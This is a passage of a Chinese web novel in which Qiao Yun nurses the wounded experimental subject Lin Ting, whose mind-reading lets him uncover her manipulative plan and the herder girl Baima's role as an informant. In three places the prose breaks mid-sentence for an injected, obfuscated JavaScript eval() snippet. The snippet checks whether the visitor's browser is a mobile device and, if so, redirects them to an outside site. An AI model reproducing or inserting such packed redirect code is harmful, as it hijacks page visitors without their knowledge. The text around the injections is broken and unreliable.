明明是林听亲自把她撞下来的,当然该由他带自己出去。 她的身体稍稍放松下来。 林听重新开始用手挖掘,动作更快,也更谨慎。 受伤的右手每一次插入雪中,都带出淡淡的血丝。 但林听仿佛感受不到疼痛般,愈发固执地重复着刨挖的动作。 乔韫能做的,只有尽量蜷缩着身体,配合他的动作,以减少林听的负担。 时间缓慢流逝,终于—— 刷! 一束光柱刺入这方空间。 新鲜的空气瞬间涌入,带着雪后特有的清冽,将乔韫呛得咳嗽起来。 “通了!”林听的声音带着难以掩饰的疲惫,但更多的,是欣喜。 他鲜少如此热烈地表达情绪。 乔韫咳嗽的间隙,深深望了他一眼。 林听全然未觉。 他加快动作,将洞口扩大,率先探出身,观察一下四周,确认安全后,才回身,小心翼翼地将乔韫从雪窟里拉了出来。 重新接触到地面,让乔韫感到久违的踏实。 她瘫坐在雪地上,贪婪地大口呼吸着,冰冷 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这就是实验体啊,战斗力一流,速度快得让普通人只能仰望,哪怕受伤,也应该像五号那样,愈合能力极强,等个一两天就能派去执行新的任务。 所以乔韫总毫不吝啬地使唤林听办事。 她从不觉得林听会遇上危险。 可现在…… 林听为了保护她,受了很多不必要的伤。 他是傻子吗? 是乔韫亲手将他送入险境的啊。 乔韫张了张嘴,想说点什么,哪怕是一句“谢谢”,或者“你的伤……”,却发现喉咙像被冻住一般,发不出任何声音。 就在这时,林听的身形猛地一晃,毫无预兆地向前栽倒。 乔韫急忙伸手,他整个人便软软地倒在了乔韫肩上。 好烫。 隔着冰凉的衣物,乔韫都能感受到林听身上传来的惊人热度。 发烧了? 是因为失血过多,还是伤口感染? “姐姐……” 林听似乎已经耗尽了最后一丝力气,意识模糊地靠在乔韫肩上,滚烫的呼吸喷在她颈窝,声音微弱得像在呜咽。 “我在呢,没事了,我们出来了,我马上带你下山,好不好?” “我头好疼,全身都疼……” 一旦确认安全,林听便又变回那个依赖她的小孩儿,可又与往日的克制不同,这回,林听声音里毫不掩饰地裹着委屈,听得乔韫心脏一抽,语气前所未有地柔和起来: “好了好了,乖哈,再忍忍。姐姐在呢,马上就好,马上就好了哈。” 乔韫笨拙地调整了一下姿势,让林听靠得更舒服些,然后伸出手,一下下地、轻轻地抚顺他汗湿的头发。 林听闷闷地“嗯”了一声,手臂不请自来地环上乔韫的腰。 乔韫一愣,看向林听的侧脸。 他故意的? 不对,都烧成这样了,哪能想那么多。 乔韫将这一瞬的想法抛开,一边安抚林听,一边用另一只手快速摸索着自己身上的口袋。 万幸,手机还在。 更万幸的是,经历了雪崩的冲击和漫长的低温,这手机竟然还能正常开机。 乔韫解锁手机。 屏幕亮起,信号格微弱地跳动着。 她点进自动驾驶程序,发送定位,远程召唤DT3V。 指令发送成功。 接下来,就是等待。 21. 治疗 乔韫的心绪在等待中愈发难以平静。 她不可自制地复盘起刚才的场景。 江城子一共开了两枪。 第一枪,是为了诱捕林听,如果不是乔韫出声时的微微偏移,她根本不会受伤。 可第二枪,乔韫能意识到,那是动了杀心的一枪。 江城子的目标转瞬间就变成了乔韫,他的杀伐果决,让乔韫不寒而栗。 为什么? 江城子纵容自己多回,为什么偏偏在这个节骨眼动了杀心? 难道……只是因为她提醒林听躲开? 这个理由显然不够充分。 除非——江城子早就有过杀她的打算。 乔韫仍在思索,地面却隐隐传来震动,她抬眼,目光所及,DT3V徐行而来。 关键时刻,还得靠“老朋友”啊。 乔韫暗叹一声,半拖半抱,将意识模糊的林听弄进了副驾,为他系好安全带后,便绕到驾驶座。 但她并没有立刻发动汽车,而是将目光投向了手机屏幕。 手机安然无恙,也意味着定位信号仍在发送。 继续带着它,等于时刻向组织报告自己的坐标。 换做之前,乔韫依然会毫不顾忌地带上它,可今时不同往日,在意识到自己的顶头上司很可能觊觎自己的小命后,乔韫实在无法劝说自己将手机留下。 官逼民反,民不得不反啊。 更何况…… 乔韫用余光瞥了眼正紧闭着双眼的林听。 他现在的状态,绝对经不起下一次围剿。 不能再冒险了。 乔韫将车窗摇下,抬手,将手机扔出。 手机在空中划出一道弧线,噗一声,消失在积雪之中。 做完这步,乔韫迅速调整好状态,系上安全带,手指在中控屏上点了几下。 她现在只能依靠DT3V上的导航。 所幸陈放已经为她的车更改了GPS系统,这才能让她避开组织的追踪。 随着乔韫的动作,屏幕上的地图不断刷新着。 无论她如何滑动,导航上所显示的最近的聚居点,竟只有山下的雪山镇。 这太危险了。 镇上眼线众多,此刻回去无异于自投罗网。 乔韫收回手,转而将其搭在方向盘上,不断敲击着。 啊。 她想到了。 还有一条路可走。 ——白玛。 她家位置偏僻,人烟稀少,而且……白玛见过他们,并帮助过他们。 乔韫深知富兰克林效应的道理:那些你帮助过的人,未必会报答你;但那些曾经帮助过你的人,往往会乐意再帮你一次。 更何况,白玛年纪小,按道理说,应该更好糊弄过去。 这是目前唯一可能的选择,当然,也是一场赌博。 乔韫无法确定白玛是否也属于江城子的眼线之一。 但林听伤势严重,需要人帮忙买药,她只能放手一搏。 乔韫输入目的地,选择了一条绕山而行的小路,驾驶着DT3V在雪原上穿行。 天色渐渐暗了下来。 当那座熟悉的旧毡房出现在视野尽头时,乔韫不可避免地松了一口气。 她将DT3V远远停在附近一个山坡后。 偌大一片平原上,出现这样一辆车,实在显眼。 为了尽可能拖延组织的搜寻速度,乔韫决定将其隐藏起来。 哪怕作用不大。 停好车后,乔韫扶起林听,深一脚浅一脚,朝那盏微弱的灯火走去。 叩! 叩! 叩! 毡房的门被乔韫拍响。 里面传来一阵急促的脚步声,夹杂着几声羊羔的叫唤。 门开了一条缝,露出白玛警惕的眼睛。 当她看清来者是谁,登时瞪大了双眼。 “乔姐姐?你们这是……”她注意到了两人身上可怖的血迹,“这是怎么了?” 白玛压低声线,不动声色,将门缝关得更小。 “白玛!”乔韫急忙用脚抵住门,“我们遇上了雪崩……他伤得很重,拜托你,让我们再多呆两天。我可以付钱!” 白玛的目光在乔韫和林听的脸上来回扫视,犹豫显而易见。 她只是一个孩子,独自生活,只是收留两个来历不明的大人,尚且算得上胆识过人,但若这两个大人还浑身是血,就是另外一种说法了。 风险太大了。 乔韫看着白玛若有所思的样子,虽然不忍,但还是搬出了那套道德绑架的话术: “如果你不愿意帮我们,他很有可能会死。” 白玛闻言,目光飞速扫过昏迷的林听,眼神最终流露出一丝不忍。 她咬了咬牙,猛地拉开门: “快进来!” 乔韫如蒙大赦,立刻搀着林听挤了进去。 毡房里依然弥漫着那股熟悉的羊膻味,这股曾让乔韫嫌恶的气味,在此刻,竟徒生出一份温情。 乔韫将林听小心翼翼地放在炕上。 他一沾到这相对柔软的地方,身体便放松许多,但也颤抖得更加厉害。 “他流了好多血!” 白玛凑过来,看见林听的伤口,脸都吓得发灰。 “你们不是遇到雪崩吗?怎么还……还有这种伤?” 白玛身为牧民,认得猎枪,自然也认得枪伤。 但她很警惕地没有说出这个字眼。 乔韫心下一紧,知道瞒不过去,只好半真半假地解释:“雪崩前遇到了劫匪,真要说的话,雪崩反而救了我俩一命。” “那帮人又回来啦?前两年的劫案闹得可凶了,看来这段时间出门真得小心些。” 白玛不仅没怀疑乔韫的说辞,反而将其圆了回来。 乔韫打心底感谢白玛口中这帮不知道几时作恶过的“劫匪”,竟真让她误打误撞说中了。 乔韫打断白玛的话:“白玛,我还需要你帮一个忙。” “你说。” “我需要碘伏、纱布、绷带、退烧药以及消炎药……能不能拜托你,去镇上的诊所或药店买些回来?钱我加倍给你!” 乔韫说着,从贴身口袋里掏出所有剩余的现金,皱巴巴的,一股脑塞进白玛手里。 金额不大,却足够白玛过上大半年的好日子。 白玛倒吸一口冷气,深知此事绝不简单。但她看了看炕上奄奄一息的林听,又看了看满脸焦急的乔韫,还是郑重地点了点头。 “好!诊所晚上有人值班,我很快回来!” 语罢,她将钱一张张捋平,卷成一团,收紧兜里,像头敏捷的小豹子,悄无声息溜出毡房,很快消失在夜色中。 毡房里顿时只剩乔韫和林听两人,还有角落里不安的羊羔。 ——羊羔只剩一只了,看来白玛成功卖出去一头羊。 乔韫不敢闲着,翻出食盐与饮用水,备好毛巾、脸盆、剪刀,回到炕边。 她先剪开了林听腹部的衣物,将那道狰狞的枪伤暴露出来。 出乎意料的是,这道伤口竟然停止渗血了。 不愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506318|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是实验体,这么抗造。 但…… 乔韫忍不住将目光投向林听紧闭的双眼,蝶翼般的睫毛簌簌颤动着,宣示着主人的痛苦。 她没办法再将林听只是当作一个实验体了。 林听拥有自己的喜怒哀乐,会怕疼也会撒娇,分明是个活生生的人。 乔韫配置好盐水,打湿毛巾,俯下身,一点点将林听身上的血迹擦拭干净。 盐水带来的微弱刺痛让林听下意识哼哼起来。 “好啦,忍一忍,就一眨眼的事……”乔韫低声说着,不知道是在安慰林听,还是在安慰自己。 处理完腹部,乔韫又看向他的右手。 那几乎不能再称之为一双手,指甲外翻脱落,碎肉黏答答地挂在指尖。 这双手……也算是多灾多难。 乔韫试图以调侃的方式减轻心底的不适。 她并不是什么心理变态,看见这样惨烈的场景还能不反胃。 相反地,她能清晰地感受到自己的头皮一阵阵发麻,发根发痒,像要竖起来。 与此同时,乔韫还感到指尖疲软,一拎起毛巾,就止不住发抖。 冷静,乔韫。 只是一点小伤口,没什么可怕的。 林听不会因为你有什么三长两短,他会好起来。 乔韫咬紧的牙关渐渐松开。 她深吸一口气,动作不停,继续擦拭着血污。 汗水从她的额角滑过。 清理工作勉强完成时,白玛终于推开了门。 她带着晚间特有的露水味,冲进毡房,怀里抱着一个鼓鼓囊囊的塑料袋: “买、买到了!退烧的、消炎的,还有绷带、纱布、碘伏……”白玛一边说着,一边将东西一股脑倒在炕沿。 “诊所的医生问我要这么多药干什么,我说我家的羊踩中钉子了,大半夜,烧得厉害!” 她脸上带着些许得意。 “干得不错,白玛,挺聪明的嘛——谢谢你。” 乔韫的视线始终没从白玛带回的药品上离开,哪怕强打起精神,如往常一般打趣白玛,语气也毫无起伏。 她并没有让白玛买酒精。 林听伤得太重,酒精带来的疼痛,很可能让林听无法自控。 乔韫利落地为林听取弹、上药、包扎,连林听身侧淡淡的擦伤,也被乔韫细心地贴上了创口贴。 做完这一切,乔韫已经没有多余的力气,整个瘫坐在炕边,近乎虚脱。 她看着被捆得像个木乃伊似的林听,脑子里浮上一阵前所未有的茫然。 或许,这份茫然,在她被江城子用枪对准的时候就升起了。 只是当时情况太过紧急,后来又一心想着救林听,始终无暇顾及。 她好像……无处可去了。 白玛默默陪伴在侧,为乔韫打着下手,此时乔韫停下动作,白玛却依然不忘照顾他俩。 她递过来一杯水:“乔姐姐,你喝点水吧,脸色好难看。还有,你的……” 白玛抬起手,点了点自己的耳朵。 乔韫这才感到耳侧钝钝地疼。 她又拿起毛巾,胡乱擦了下脸上的血迹,将耳朵上的伤口随意处理一番。 “多谢你了,白玛。今天要没有你,我还真不知道该怎么办。” 白玛摆摆手,示意乔韫不用客气,随即,她小声开口: “林听哥哥他……会死吗?” 乔韫喝水的动作一顿。 “不会的。”乔韫摇摇头,“林听不会死的。” 夜,更深了。 22. 算计 林听足足昏迷两天,才睁开了双眼。 他感到一阵前所未有的宁静。 并不是环境的宁静——毡房外正起着风,将草尖吹得簌簌作响,房内烧水声咕嘟咕嘟响个不停,过了好一会儿,乔韫才起身,将炉上的水壶拿下,倒了一杯水。 哗啦啦—— 对林听来说,这些情景可谓是喧嚣。 但,他的大脑变得安静了。 那折磨他数月的心声,连并着疼痛,一块儿消失得无影无踪。 可这并不意味着读心术的消失。 与之相反,林听所感受到的,是某种……更清晰、更辽阔的世界。 仿佛他之前一直戴着厚厚的耳罩,而此刻,耳罩被摘除了。 他的意识成为了如有实质的触手,能受他操控,有目的地探查进旁人的内心。 “林听?你醒了?” 乔韫刚倒完水,一转头,便看见了林听半睁的眼。 她立即放下水杯,三步并作两步,回到林听身边,用手背贴上林听的额头。“退烧了……你现在感觉怎么样?” 乔韫眼神中的关切不是假的,林听能感知到这点。 但……他依然选择将意识触手放出,绕过信号屏蔽仪,将其稳稳扎入了乔韫的百会。 林听无时无刻不想这样做。 从见到乔韫的第一刻起,他就想探查乔韫心里到底在想什么。 他想知道关于乔韫的一切,想要更靠近乔韫一点。 这种行为真的很恶心。 很恶心。 别讨厌我,姐姐。 庞大的信息洪流涌入林听的意识。 一切场景如走马灯般在林听脑中闪过,从天桥,到基地,到测谎室…… 林听借着乔韫的眼睛,看清了一切事物的经过。 在实验屋,乔韫读懂了林听的无措,却没看懂林听久别重逢的欣喜;在柳城,乔韫早知这是他的故乡,却选择用“我也会记住”的谎言骗取林听的信任;在雪山,乔韫已然推测出江城子的埋伏地点,却亲手,推动林听落入罗网。 【让九号得到自由,再让他明白自由并非什么好东西……从此,便再也不需要担心他的忠诚有疑了。】 世界在林听眼前有那么一瞬间的灰败。 他早该知道的。 这么多在他心里称得上“珍重”的回忆,本就是自己的一厢情愿。 他并不是幸运儿。 乔韫察觉到林听渐渐涣散的瞳孔,只当他身体不适,又蹙起眉头: “你还好吗?是……头疼?还是伤口疼?还能说话吗?” 林听缓缓回神。 他看向乔韫,默默偏开头,躲掉了乔韫贴在他额头的手。 “……我好多了,谢谢姐姐的照顾。” 乔韫:? 不对劲。 这很不对劲。 换做平时,她一和林听有什么肢体接触,这家伙巴不得凑上来多蹭几下。 今天居然躲开了? 是因为……头疼到被碰到也难受的地步了吗? 林听主动隔绝了乔韫的心声。 如果他再理智一点,就应该时时刻刻关注乔韫的心声,厘清她和谛听的下一步计划,然后各个击破,为自己争取一线生机。 但他现在没心思这样做。 他现在……想任性一点。 思至此,林听甚至翻了个身,将自己背对乔韫。 乔韫不明所以,只好起身,道:“那你好好休息,我去给你拿药?” 林听没有回答。 然而,正当乔韫翻找药物时—— “乔韫,门外……” 砰! 毡房的大门被一脚踹开。 “你干嘛踹我的门啊!你要开门,我给你开不就好了,我有钥匙!” 是白玛,还有——挟持着白玛的五号。 林听在五号跨入他感知范围的那一刻便警觉起来,但五号从十米开外的地方来到毡房,同样只需要一刻。 他立刻翻身下床,试图将乔韫带离五号的攻击区域,但脚刚落地,腹部的伤口便扯得生疼,叫他一个趔趄,竟跪倒在地。 神经进化让他的身体格外虚弱。 他能够隐隐感知到,在大约十二米处,正有一支清道夫队伍蛰伏着。 很巧妙地越过了他的读心范围,林听只能凭借着隐约的窸窣声进行感知。 对于他读心范围的估算……还是乔韫告诉他们的。 林听突然感到心底一阵阵揪得疼。 乔韫的瞳孔,在看见白玛那一刻骤然收缩。 她并不是没有想到过这样的场景,或者说,是她一手促成的这幅场景。 乔韫从一开始就很清楚,自己的行为,会让白玛被牵扯进来,从而危及到白玛的生命。 她已经习惯背负骂名,也铁了心要坐实自己的恶人身份。 只是……不愧疚,是不可能的。 “乔韫,我的任务是九号,你只需要把九号交出来。这个小女孩不会有事。” 五号的声线一如既往地平淡。 在乔韫与五号周旋之际,林听再次开启了意识探查。 为了尽可能接触到埋伏者的心声,林听将心声读取范围扩大了。 他甚至无法绕开乔韫的心声。 可未待林听感伤,五号的心声扎入林听脑海,或者,更确切地说,是五号潜意识内的记忆进入林听脑海。 通过五号的眼睛,他看见,江城子一行人正围绕着乔韫弃下的DT3V。 “江组长,能确定这是乔韫的车。” 五号开口道。 乔韫虽然找陈放改装过DT3V,但后来,五号上过乔韫的车。 再安置一个定位器,不是难事。 当江城子注意到乔韫的定位分成两道时,便明白,组织——或者说,他江城子——已经惊动了乔韫,使她彻底放弃了任务。 就差一点。 江城子想着。 就差一点,他就能杀死乔韫。 那是他唯一一次能解决乔韫的机会,失手后,想在“那位”眼皮子底下动手,绝非易事。 五号并不知道江城子的心思,只能看见江城子面无表情地沉默许久。 她继续说道:“这里离白玛家只有三百米距离,和你推算的一样,他们去找白玛了。” 【他们认识白玛?!】 林听“看”到这里,心下一紧。 但回忆依然在他脑海播放着。 “我好像听到有人叫我?” 江城子还未回答,五号身后便传来一道少女声线。 白玛缓缓踱步,从五号背后,绕到了二人面前。 她手里依然牵着两头羊,一大一小,乖顺地跟着白玛。 “你来了。” 江城子对白玛略一颔首。 这就是“计划B”。 利用他们早就安插在乔韫身边的眼线——白玛,逼她交出林听。 林听感到了一丝不忍。 不,更确切地说,是林听从五号心里感到一丝不忍。 这让林听莫名恼火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506319|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,我只需要假装挟持白玛就好?” 江城子点头:“是。” “为什么能笃定乔韫会交出林听呢?” “我并没有笃定这件事。” 五号歪了歪头,似是不解。 但江城子并没有为她做出解释。 五号也就没有多问。 派她去是最合适的。 五号想。 因为……她最不可能伤害乔韫,换做别人,乔韫或许会多几分危险。 林听收回了对五号的探查。 他现在突然生出几分无措。 乔韫知道白玛的身份?——不,绝无可能,在乔韫的记忆里,根本就没有关于白玛的信息。 那么,他是否应该提醒乔韫小心白玛? 林听开始犯难。 现在不能出声,他全盛时期也只是堪堪和五号打个平手,如今身体虚弱,且后方还有埋伏,贸然惊动五号,并不是个明智的选择。 最佳的方式其实是直接向乔韫传递心声,但…… 林听的目光落在乔韫耳后——那枚银色的信号干扰器,依然好好地戴在那里。 如果就这样将自己的心声传递过去,会让乔韫发现自己神经进化的事。 也会让乔韫发现自己读取了她的记忆的事。 林听甚至担心,如果乔韫知道他能轻易地探知她所有想法,她会生气,会厌恶,会觉得他彻底成了一个需要防范的“怪物”。 他可以接受乔韫背叛自己,更甚之,接受乔韫从头到尾都只是利用自己。 但他没办法接受乔韫讨厌自己。 最终,林听选择了沉默。 只能走一步看一步了。 就在林听心念电转间,乔韫开口了。 “要不这样,一命换一命,你放开白玛,我跟你们走。” 乔韫顿了顿,目光扫过五号耳侧的通讯器,在她说出这句话的一瞬,亮过一道蓝光。 是江城子。 他在实时监听,方便随时发出指令。 “换我,比换林听更有用。只有我才能完成最后一步,不是吗?” 通讯器再次闪过蓝光。 五号收到指令,一怔,将刀尖微微偏离了白玛的脖颈,示意乔韫上前。 乔韫脸上没有任何意外的神色,仿佛早就料到这个结果。 她甚至浅浅松了口气。 是的,她很清楚。 这是乔韫编写的剧本。 让九号逃离,让他尝到自由的滋味,让他信任她、依赖她……最终,由乔韫亲手将这份刚刚萌芽的“自由”与“信任”摧毁掉。 只有经她之手的“毁灭”,才能带来最彻底,也最绝望的掌控。 这才是对九号这种拥有读心能力的特殊实验体,最完美的攻心之策。 她被捕,林听绝不会坐视不管。 林听会来救她,也就必然会闯入组织早已为他准备好的牢笼。 而在林听历尽艰辛,以为自己看见希望的那一刻,再有乔韫——这个他唯一信任的人——亲自反水。 信念彻底崩塌的实验体,才会变成最听话的武器。 这个计划,阴毒、有效,且……万无一失。 林听跪坐在乔韫身后,脸色逐渐变得苍白。 他……还没来得及收回意识探知。 乔韫所思忖的每一个字,都如烧红的烙铁,烫在他心神之上。 哪怕林听心里早有准备,但,如此直白地让他面对乔韫的算计……真的很痛。 乔韫已经达成目标了。 23. 信任 林听匆匆切断探知。 他没有勇气继续听下去,只是将目光紧锁在乔韫身上,任其前进,任其与自己的距离逐渐拉远。 乔韫走到白玛身前,突然蹲下,背对着林听,拍了拍白玛的肩膀,对她做了个口型: [别让他知道我在哪儿。] 这里的“他”,指的自然是林听。 组织既然以白玛作为人质,便定然做好了用白玛换乔韫的准备。 可换人之后呢? 如何让林听落入圈套? 等他一点点翻出组织留下的草蛇灰线吗? 那太慢了。 眼前就有个绝佳的选择——白玛。 让白玛成为组织的传声筒,让白玛告诉林听,乔韫被抓去了何处。 至于他们是如何让白玛做出这件事的,乔韫没有细想。 因为方法太多了。 装作不经意间提起目的地,利用白玛的同情心,让白玛主动告知林听,以解救乔韫;或者,更直白的方法,威逼、利诱……这件事非常简单。 所以,乔韫当下能做的,只有叮嘱白玛,让林听不要去找她。 更不要去救她。 乔韫希望,她和林听,至少有一个人,能得到自由。 她是不太可能了,手无缚鸡之力,不管怎么想都难以逃离组织的追踪。 可林听…… 他很强。 他或许可以得到自由。 白玛看清乔韫的口型后,微微睁大了眼,然后,郑重其事地点了点头。 在林听的视角里,仿佛乔韫与白玛达成了某种共识。 针对他的? 那乔韫可真是多此一举。 林听心下自嘲道。 五号并没有阻拦乔韫的动作,甚至乖顺地等待乔韫交代好,站起身后,才把白玛往前一推,拉着乔韫的小臂,将其拢进怀里,用刀锋逼近她脖颈,缓缓后退。 林听没有动作。 一直到离开林听的视线,五号才松开了乔韫。 但二人都没出声,只一前一后,沉默地走着。 这是一种心照不宣的默契,乔韫知道,五号不出声,是因为她知道实验体的信息捕捉范围有多广,在走出林听的注意范围前,她会一直保持沉默。 走了大约十分钟,绕过一片低矮的坡地,眼前的景象让乔韫瞳孔微缩。 这是她停车的地方。 乔韫的DT3V安静地停在那里,黑色的车身在高原稀薄的日光下泛着光。 而在DT3V旁边,零星停了几辆经过改装的越野车,以及江城子的DT3V。 江城子站在车队最前面,大衣下摆被风吹得微微拂动。 他扶了扶眼镜,镜片后的目光扫过乔韫。 像打量一件货物,以确认其是否完好无损。 这个视线让乔韫有些反胃。 五号向前一步:“人带到了。” 江城子略一颔首,对乔韫道:“上你的车,跟紧车队,五号和你一起。” 语气一如平常。 像从没把乔韫放进眼里。 哪怕乔韫在不久前彻底打乱过他的计划。 乔韫不动声色,顺从地拉开车门,坐了进去。 几乎在乔韫落座的同时,车后座的门被拉开,五号矮身坐了进来。 她没有选择落座副驾,而是坐在后方,方便更清晰地监视乔韫。 砰! 车门合上,将外面的世界隔绝。 乔韫插入钥匙,启动引擎,她看着前方,车队已经开始缓缓移动。 “去哪儿?” 乔韫终于开口,声音有些发涩。 五号回答得言简意赅: “临昌。” 乔韫握着方向盘的手指微微收紧。 果然。 和她想得一模一样。 自从六号“意外身亡”后,这座“谛听的大本营”必然经历了彻头彻尾的升级改造。 那里的安保系统恐怕已经为迎接下一个特殊实验体做足了准备。 在那里,对林听来个瓮中捉鳖,无疑是最稳妥,也最万无一失的选择。 相比起来,上饶那个临时搭建的分部,简直像个简陋的玩具屋。 车队驶上国道。 乔韫稳稳跟着前车,思绪却不由自主地飘远。 上饶基地…… “小莫呢?”乔韫状似随意地问,“还蹲在上饶那个破基地?” 五号顿了一下,才回答道:“半个月前就召回临昌了。” 乔韫心下嗤笑一声。 也是。 上饶基地本就是为林听量身定做的临时牢笼。 如今“货物”已经出逃,那些负责维护的实验员自然没有在留在那里的必要。 更何况是小莫——谛听计划所有实验体的总工程师。 能让她抽身去上饶负责林听这“独一份”,已经很给他面子了。 现在,好戏收场,演员自然各归其位。 小莫恐怕早已在林场总部,摩拳擦掌地等着“检修”她来之不易的九号了。 不过…… 乔韫有些感慨。 她和林听相处的时间,满打满算,居然也不超过三周。 这三周的回忆可谓跌宕起伏。 乔韫敛目想道。 她或许会将这三周视为很重要的回忆吧。 问完小莫的状况,乔韫便不再说话,专心驾驶。 车窗外,高原的景色飞速倒退。 毡房内。 门被合上,隔绝了五号和乔韫远去的身影。 白玛愣了几秒,仿佛刚从巨大的惊吓中回过神来。 她猛地扑到门口,又像是害怕什么似的缩回来,转过身,眼中蓄满泪,声音带上哭腔: “林听哥哥!乔姐姐、乔姐姐是为了救我才被他们抓走的……得想办法救救她啊!” 林听缓缓从地上支起身子,腹部的伤口依然在隐隐作痛。 他抬起眼,看向白玛,心下生出鄙夷。 太假了。 这表演痕迹实在太重。 但他却故作配合,问道:“该怎么救?” 白玛的啜泣戛然而止。 不对劲。 按她对林听的侧写,包括江城子给出的行为预测,以他对乔韫的在意程度,往往会直接做出行动或计划。 而不是这样冷淡地问她“怎么做”。 这反应太平静了。 平静得反常。 电光火石间,白玛心念急转。 她原本精心设计的台词——“我好像听他们提起要回临昌”——被硬生生咽回肚子里。 她不能主动说。 太刻意了。 一旦引起林听的怀疑,所有计划都可能前功尽弃。 于是白玛脸上挤出一个更慌乱无措的表情:“我也不知道……林听哥哥,你一定有办法的,对不对?” 林听看着她,突然冷冷哼了一声。 “你怎么会不知道?”他缓缓说道,“你不是江城子安排好的眼线吗?” 白玛浑身猛地一僵。 他知道了? 怎么知道的? 霎时间,白玛被一股巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506320|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的骇然钉在原地。 第一个冒出的念头是:他听懂我的心声了? 第二个念头紧随其后:不可能。 如果林听能读懂她的心声,早该在第一次见面时就识破她。 那……是五号? 林听捕捉到了五号的心声。 这似乎是唯一的答案。 可五号明明带着信号干扰器,按理来说,不应被读取心声才对。 除非—— 林听的读心能力已经进化到了能够绕过信号干扰器的程度。 白玛的脸色出现一瞬的苍白。 在实验室的模拟推演中,林听的大脑发生进化的可能性虽低,但并不为零。 计划败露了? 得找机会通知江城子! 但在此之前…… 白玛咬了咬牙。 她得先保证自己的安全。 但林听没有做出进一步的动作,他只是用那双仿佛看透一切的眼睛盯着她,再次开口: “乔韫最后对你交代了什么?” 压力陡然转移。 白玛的心脏在胸腔里疯狂跳动着。 林听没有立刻动手,说明他可能并不确定,或者说,他在意的东西,远比自己的身份更重要——那就是乔韫的意图。 这给了白玛可乘之机。 她猛地深吸一口气,像是被恐惧淹没,眼泪决堤,语无伦次地哭诉起来:“我……我说了你就能救乔姐姐吗?林听哥哥,你相信我,我不是自愿要这样做的,他们抓了我阿爸阿妈,我才……” 林听蹙起眉头,打断了白玛: “我问的是,乔韫,在最后,单独对你,交代了什么。” 一字一顿,掷地有声。 “去临昌!”白玛识时务地停止诉说自己所谓的“悲惨身世”,连忙开口:“她说、她说如果你有能力,让我告诉你……去临昌救她!” 她像是抓住了唯一的救命稻草,把原本计划中由自己“无意”透露出的信息,包装成乔韫的叮嘱,半真半假地说了出来。 说完,她死死盯着林听,心脏高悬,等待着审判。 林听眼里的那点微光,在听到“乔姐姐说”这几个字时,还是黯淡下去。 他低声嘟囔了一句,声音轻得几乎听不见: “是吗……” 果然是这样。 即使到了最后,她为他受伤、为他担忧,甚至可能有过一瞬间的真心,但最终的计划,依然是将他引向临昌。 乔韫并没有为他停留。 白玛心底仍在打着鼓。 林听这反应是什么意思? 信了?还是没信? 她看不透。 然而,就在白玛几乎要被林听的沉默压垮时,他却倏然抬起了头,脸上的所有情绪都被收敛起来,只剩下深不见底的平静。 他看着白玛,淡淡开口: “我知道了。 “我会去的。” 白玛顿时有些发怔。 一时之间,她竟完全判断不出这句话究竟是陷阱,还是林听真的信了。 但她依然选择将这出戏码演完: “你伤还没养好……我想,他们不会急着伤害乔姐姐的,要不,先让我照顾你几天吧,不管你信还是不信,这些天来,是你和乔姐姐让我第一次觉得……我也可以不孤独。” 林听瞥了她一眼,没有回答。 但却顺从地躺回了炕上。 林听向来都很容易相信别人,或许是出于对自身实力过人的自大,也或许是出于…… 他觉得自己没什么可失去的了。 24. 束缚 临昌市,谛听总部基地。 这里的空气似乎比上饶分部更凝重几分,充斥着金属的冷硬气味。 乔韫的手腕上扣着一副特制的手铐,材质冰凉,重量适中,不会过分妨碍活动,却又无时无刻不在昭示着她囚徒的身份。 拷环内侧甚至衬着柔软的复合材料,避免摩擦皮肉,体现着组织一贯的“人道主义”。 这是江城子亲自为她戴上的。 就在九号曾经所居住的实验屋内。 “任务变更了,乔韫。”他扶了扶眼镜,镜片后的目光平静无波,“你接下来的任务,是‘引诱’九号。” 乔韫没接茬,只是抬了抬被铐住的手腕: “用这个引诱?口味是不是有点独特?” “他会来的。”江城子无视了她的讥诮,语气笃定,“基于你对他的行为模式分析和我们现有的数据建模,他选择前来营救你的概率超过80%,你需要做的,就是让这个概率变成100%,然后,让他留在这里。” “留在这里?像六号一样?”乔韫挑眉。 但随即,她便想起“六号”如今的下场。 他还活着。 虽然和死了差不多。 “他会继续‘存在’下去,并为组织服务。”江城子的回答滴水不漏,“这对他,对谛听,都是最优解。” 这时,门滑开了。 小莫端着一个金属托盘走了进来。 托盘上,是一块小巧的锥形金属,结构精密,表面有细微的指示灯暗纹。 “这是给你的‘新武器’,乔韫。” 小莫的声音比起在上珧时冷淡了不少,她将托盘放在桌上,拿起那块金属,继续道: “‘缄默者’抑制环。 